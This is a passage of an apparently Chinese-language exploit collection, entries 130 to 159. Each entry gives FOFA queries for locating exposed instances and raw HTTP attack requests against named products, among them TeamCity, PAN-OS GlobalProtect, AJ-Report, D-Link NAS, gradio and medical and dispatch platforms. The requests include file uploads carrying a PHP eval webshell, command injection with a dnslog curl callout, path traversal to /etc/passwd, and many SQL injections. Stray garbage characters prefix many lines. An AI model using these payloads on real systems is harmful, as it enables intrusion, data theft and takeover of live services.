, R% X: y2 M$ bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
- r/ s* h, o' p5 vAccept: */*
Accept-Encoding: gzip, deflate
Connection: close


第二步，读取/etc/passwd文件
5 `+ Y8 j7 ^& W( ^! A+ nGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
  C8 X  N9 I  k7 u$ o. {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 j( b  J9 [; D( y& \Accept: */*
8 a: R; \  @( x$ iAccept-Encoding: gzip, deflate
+ s* Z( v3 O: X; m3 H% M2 \Connection: close
0 X" m# V8 u2 u9 {4 ^+ r) Q  duuid: 85f60018-a654-4410-a783-f81cbd5000b9
- }6 x- ^5 Q2 i" C3 p

130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
! T; v  d6 _) o- \$ `% i8 }Accept: application/json, text/javascript, */*; q=0.01
# L3 A0 X5 R5 m9 R3 RX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
- E$ g6 y1 n+ q8 ~: uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close

, ]/ Q8 p1 G$ D- v' a------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


/ `3 J: K( f) \, t+ _131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
/ L. y. g6 _9 O4 z( q$ ?
+ [$ I& h, e4 z$ b; I  p132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
0 F: C- s3 S! U, NCVE-2024-27198
, d' x" h  H6 @' [; d3 V; Y* |FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
  B$ a: v- D9 t7 \$ z5 @5 oHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
9 }" P  s" N, d* iAccept: */*
4 q/ K3 U; `/ ]3 l3 }: ?) UContent-Type: application/json
Accept-Encoding: gzip, deflate

8 d) J- y! ~6 ?0 }{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

' j- I, \( {, G9 O2 J
CVE-2024-27199
/res/../admin/diagnostic.jsp
) ~- r/ g$ l4 ]  c- E1 ?, p/.well-known/acme-challenge/../../admin/diagnostic.jsp
: ~, X8 ]8 R; Y2 E) m8 g  \) I/update/../admin/diagnostic.jsp
+ u0 K5 o- r; Y: \: u

( E1 h, d& O! W% |CVE-2024-27198-RCE.py
# g' ~% B: K0 s# q% e
133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
: `2 I$ t% c" O3 P: |Host: your-ip
; ~& e/ t7 W4 {  LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
' \4 [5 f/ |' y( H. LContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
0 g# b3 H) a" d# N" i
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
/ i, A" g8 U& mContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

9 L2 ~& \+ s- M3 A5 h/ h4 Z" A/ ?<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--


4 f/ j, m( y" Z+ P! h5 A2 f
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
  z( x, ?# x. MNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
- {( @3 k1 d8 \: P* G" M! LPOST /protocol/index.php HTTP/1.1
7 e. z* a% P3 IHost: x.x.x.x
0 L% Z$ ~1 V. u& P, x9 e) bCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
! |7 D- ~( p* }( @Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 J! E' l) s* J9 G1 dAccept-Encoding: gzip, deflate
( j, s  E+ v9 ~Sec-Fetch-Dest: empty
/ C8 U9 n; I* t0 D$ l  Z$ vSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
9 }6 C( W5 A. X; @9 Q! LContent-Type: application/x-www-form-urlencoded
8 ?, f: `7 c# N1 ~' ^4 j0 g) QContent-Length: 263

" X# s, S4 U' W1 ^9 K0 y2 M. s# `jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

0 A9 d5 E2 x9 Q6 Q& Z
9 O# @# K* O5 u! s" m135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
% i. K" R: G/ L! o4 |FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
; m* f3 R% Z& n! A) m+ V; IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
0 K. o( I, P2 l( Z. aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, X  B- ^: @# v" w' ~Connection: close
1 V, _' ^5 c! e- L, }) x- f6 w
5 U6 Y% g0 b8 ]5 l9 S, I8 D
136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
% e; O, L0 M1 @3 p: c: qHost: x.x.x.x:10000
' l7 a  ?  H4 q2 e- jUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
: T0 a) ]: I/ ]2 TAccept-Language: en
; c- M$ f0 x% qAccept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
8 L: D& B, S# f; R  SCVE-2024-2620
# \5 s2 e0 c8 I- ?! lFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
4 m9 e$ \0 Y( ^& d# gGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
) i0 k8 u1 @$ N0 D7 bHost: x.x.x.x
0 |2 s, ]* e% R1 W# d' [+ |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
+ h% t* K2 t7 t3 O) b1 PCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
5 h! ]% d3 c! c

138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
3 l4 \# `1 l( t- y0 P$ RCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
/ C# K7 _1 X% ?& g6 r* H8 i4 ], o* HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
8 g' o- Q& U. [/ A1 w6 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

* Y% S' j. G2 y$ [5 T
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
  G8 P2 [6 i& A# H1 FFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
, E0 ^& w6 v; @3 J/ p. U( VGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
+ x- G- x0 m" @2 v# }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
# T. K' V' X2 |4 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
6 g, K  j1 l  I" q. L" e( f! P/ u  DUpgrade-Insecure-Requests: 1
8 `1 }( Y7 H) A6 u

- h, H1 x8 E( \/ D; F140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
& G" c4 g' i& g" `CVE-2024-2566
- z5 ^6 ]8 a% U9 I/ t3 KFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
( c; R# f# K9 v! O* g/ [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
9 F  f! C. B" j0 L! j( @7 @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, l) E! y. _5 f' ^; W2 w. U8 iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
  K. I# J% }$ dConnection: close
2 l1 |$ \  d7 P1 SCookie: authcode=h8g9
- F: l+ h+ l: Q9 JUpgrade-Insecure-Requests: 1

7 z# r0 w( C' Z! B* h
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
/ R  l1 J) C2 L& @% f& DPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
% j9 v% e7 i( ?% g& X1 P, PUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
0 Q  [" g/ j) x" B- [# gContent-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
8 I+ h- M" |# P
' F1 G9 Z* s5 a. S7 k; |3 I$ l4 c
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
) v" x4 r+ K% _. a4 ^admin/admin
: f- J5 S  X/ x- B. g0 T. K: U1 {143. Netis WF2780 v2.1.40144 远程命令执行
3 v, E! L3 e5 x& Z5 i- ]CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD
0 P4 W1 _7 y' L
# L9 C1 B" [( ~+ V" l/ J9 W0 S1 p144. D-Link nas_sharing.cgi 命令注入
8 E2 t: v' T- V! m+ ]& ZFOFA：app="D_Link-DNS-ShareCenter"
% j: _8 O) p4 ^# |& Q/ m* gsystem参数用于传要执行的命令
. A4 [. k2 b3 @4 r( P1 yGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
0 f5 y$ Y1 P& F; \" c) P) jUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
+ I/ i4 u' j. a* A. l! V) eConnection: close
* x  T2 ]4 Z2 H) LAccept: */*
Accept-Language: en
Accept-Encoding: gzip

, X" ~2 Z  o0 p" W) J' r
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
7 l! Q3 q! t% S6 n+ [FOFA：icon_hash="-631559155"
% a) q0 h, x+ Z. Z+ J) ]' qGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
6 u/ z7 |" \1 G. u% ^# BAccept-Encoding: gzip


146. MajorDoMo thumb.php 未授权远程代码执行
* o" K  ]1 u+ Y3 vCNVD-2024-02175
FOFA：app="MajordomoSL"
8 K5 `: _( q; |: U; q1 RGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
) o7 P% V4 H0 g9 J  C1 V) CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
7 ~, F( `( @, N( tAccept-Charset: utf-8
- K- L( T$ M' t, ~/ Q5 z: |' m+ u+ nAccept-Encoding: gzip, deflate
Connection: close

+ y! L/ E2 Z& z
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
4 ?2 u9 G% `0 g+ d/ XFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
+ ], I" |! ~; Y# @. ^, eHost: 127.0.0.1:81
" R! D* p) |# G+ |$ p  s* z7 \1 aCache-Control: max-age=0
7 i0 S) T. |" L' W) p5 c4 hConnection: close
6 _5 G. T. i; x7 c% o; P5 Z
/ }/ Y, D2 r* r8 q* y" `
8 |0 _, L4 [1 i1 b: r148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
* D3 K" [5 \: g* k/ TPAYLOAD
( _% u4 f$ W: a/ k- Y
; f) g. o  C: _1 l) \7 @. P5 Q! c; e149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
, N& W3 y. B& @" n
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
$ p( E- j) B# X8 YHost: x.x.x.x
: c* F1 j4 w" d8 `- ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
# L9 {# }( C* s" uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 ~8 U  v5 g, ?" |" [" L( O% CAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
; }: B( d; ~. I/ x/ B: f- w- XContent-Type: application/json;charset=UTF-8
Connection: close
1 [+ |, R7 p& D5 u- h3 i
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
0 B6 S' k1 @& |; g' @- n$ l
150. AJ-Report 1.4.0 认证绕过与远程代码执行
1 R3 F; J2 U0 a0 TFOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
; L" x; E: x# d5 h# P- K/ DHost: x.x.x.x
$ G5 o& _! Y, o3 C1 w7 `; XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 N. q. K0 H3 Q6 t1 N) RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 {5 @( M0 N/ p  EAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
1 `  E6 n( z8 gContent-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
2 c, B$ D5 a) ^
6 x- O: {1 j4 r2 {( E- [+ z{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

9 m- O9 `& ?4 F4 W3 L+ w$ r
; m5 j' w" U% }/ J( n151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
5 W# H/ Y# o; z0 N/ N% y" pHost: x.x.x.x
8 X  _9 M( j/ |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
: J5 p6 M, n2 d% v8 p* q! g/ oAccept-Encoding: gzip
' n2 U) J. T. K5 ]1 k& W
: n# |  a% P+ o9 _' a# x: ~
152. Progress Kemp LoadMaster 远程命令执行
5 z" f/ W( N3 jCVE-2024-1212
- c6 [. M  L! yLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
' A4 U- r, ~0 P" `LoadMaster <= 7.2.48.10 (LTS)
1 X7 {- d4 d" u& Q* TFOFA：body="LoadMaster"
3 z% B3 y. `3 \! m2 G" Y) {8 f+ T  YJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
) _$ y  r) z2 ]Host: x.x.x.x
# u+ K8 Q  w# I9 Z+ v  pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
  p; q. N$ W3 g$ ?/ \Connection: close
& U* l7 @  `5 @& e9 Q3 nAccept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
, m. n; T0 Y1 r1 IAccept-Encoding: gzip
: R; h( E- }- V3 o5 U

! g6 h1 d4 U, K- l/ j- l6 b6 I' z153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
, B- j/ u4 s' R* F" Q# s, K4 E第一步，请求/config文件获取componets的id
http://x.x.x.x/config
5 y6 {2 l" B3 R) v0 p9 p
# d( ]' ~" z; T4 s# H& e
第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
6 z9 d9 V% f. d3 i! mHost: x.x.x.x
% `+ y5 \1 q1 k  ]0 h% l, `) {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
' C! f% J3 T+ ?: V' r  x/ YConnection: close
* \8 W9 c5 }- s5 C4 F) @Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
  |) g$ \3 O+ z8 O5 g

第三步访问
  I, S8 C8 ~+ H( Khttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
) T5 o7 k- V3 |/ S8 n. M+ `

# h) k& ^5 g0 e+ |7 t154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
+ a8 S$ ^" G+ [' K5 MPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
- M# l/ c" a4 RContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
1 x" a" k2 F7 u( GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( t" B6 O2 |! r$ @: S8 M, xReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
0 `% Y" w8 z; O. @" q+ }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
* {- F: @" p5 f% QConnection: close
  \# _7 W& g& o/ m; I
0 }7 `1 H* g  j; r& f8 i" E{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
2 A2 i. x+ b3 @6 @1 }+ N
1 v/ Z6 S& C6 ^0 k
155. 六零导航页 file.php 任意文件上传
9 m% f6 E$ k3 O( aCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
  m( [) W0 f1 D" [% T3 l- A9 t* }5 HPOST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
  G5 A3 {+ u% y( a/ x9 [Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 e& J: ]. A1 V# p0 `6 ~4 X+ HContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
3 L: V9 q7 n# o6 d( ~- lX-Requested-With: XMLHttpRequest
) a% L+ d/ J. `# V' b
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
: K2 o2 S9 u9 k. Z8 vContent-Type: image/png

8 @& s& U. l$ A! b3 F+ m<?php phpinfo();unlink(__FILE__);?>
. A$ E% o  R) |& t  G0 R-----------------------------qttl7vemrsold314zg0f--

" F' G  X# f  E' |* v8 T2 H0 S
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

' a3 ]# i4 [# s( w8 F. T7 P4 ]8 r156. TBK DVR-4104/DVR-4216 操作系统命令注入
9 i8 @2 K8 n) N4 l" k# F! ?CVE-2024-3721
3 w) T; W6 }, ZFOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
  s% O+ ~  j7 \! hcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

( W. i7 I- k. q+ ]( i
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
+ c5 E8 H( S, n0 qHost: x.x.x.x
& }# u& a" t9 j- o, F6 k$ b, xUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 g1 D: n6 v( d1 v  `* VConnection: close
Content-Length: 0
Cookie: uid=1
Accept-Encoding: gzip
' n- `+ y. x8 y1 q+ `' z
( s1 q: G; i, j5 v* i
( H5 u: \) o( G0 X; R1 p  }/ L157. 美特CRM upload.jsp 任意文件上传
6 [. d5 |5 |5 ?2 Q0 ^4 f" XCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
' \1 z7 P1 b8 w. D, lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
7 W& ~' @( k& h8 i. Y( [3 n/ XContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. V. k4 R' b" lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
/ z6 q$ ]9 K' L$ x' Q* d& X* NConnection: close
; B8 _: w0 k$ U  PContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
# R2 m) |8 k5 _% g7 G( NUpgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
4 P% S; \( O" [. k. tContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
$ h! L; d1 Z. a, |  WContent-Type: application/octet-stream
3 u7 V7 s9 i& ]0 _
nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
. G" P; S5 {8 A7 t: }% YContent-Disposition: form-data; name="key"
& U7 |. s4 }1 ]9 |% G# j$ c
8 q- Y2 ?: K1 V' z2 |+ c1 Wnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

null
+ K* R: n9 `  X% H* \+ w: i& h------WebKitFormBoundary1imovELzPsfzp5dN
* g/ L0 `  }2 T6 C1 [) |Content-Disposition: form-data; name="field"
2 J6 L1 ^$ X! x& H1 g) U# z5 o
* r9 z  j4 T3 h* P5 {& J# A: onull
0 ~+ R4 g* g8 O3 [------WebKitFormBoundary1imovELzPsfzp5dN
. h4 M" W' s" Y* h9 ?Content-Disposition: form-data; name="filetitile"
' l4 r* ^% l2 e4 p$ w
null
------WebKitFormBoundary1imovELzPsfzp5dN
5 S3 W' w3 q7 I; W; \+ h' FContent-Disposition: form-data; name="filefolder"

) n  J+ ~9 M. Z' @null
------WebKitFormBoundary1imovELzPsfzp5dN--

, @$ ?3 v2 M% f# x
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
# y8 a" z# W$ r3 S
. L( U$ {+ B9 w- W# z" b158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
3 T+ D& [: \) Y* X$ E7 c3 l( y5 KContent-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
9 f% L3 p8 |8 A6 m0 P. e

159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
' b: f) L5 z, W( U% }% Y" zPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
1 o. o4 u9 t# l+ c+ z9 }Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
6 b& d; _% G1 R1 z<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
! O! Y& V, v( n- C. a5 W  K<jobUpload xmlns="http://rainier">
% v& B4 J; n, L1 p<vcode>1</vcode>
5 J. s) v1 F1 e9 U9 [6 Z<subFolder></subFolder>
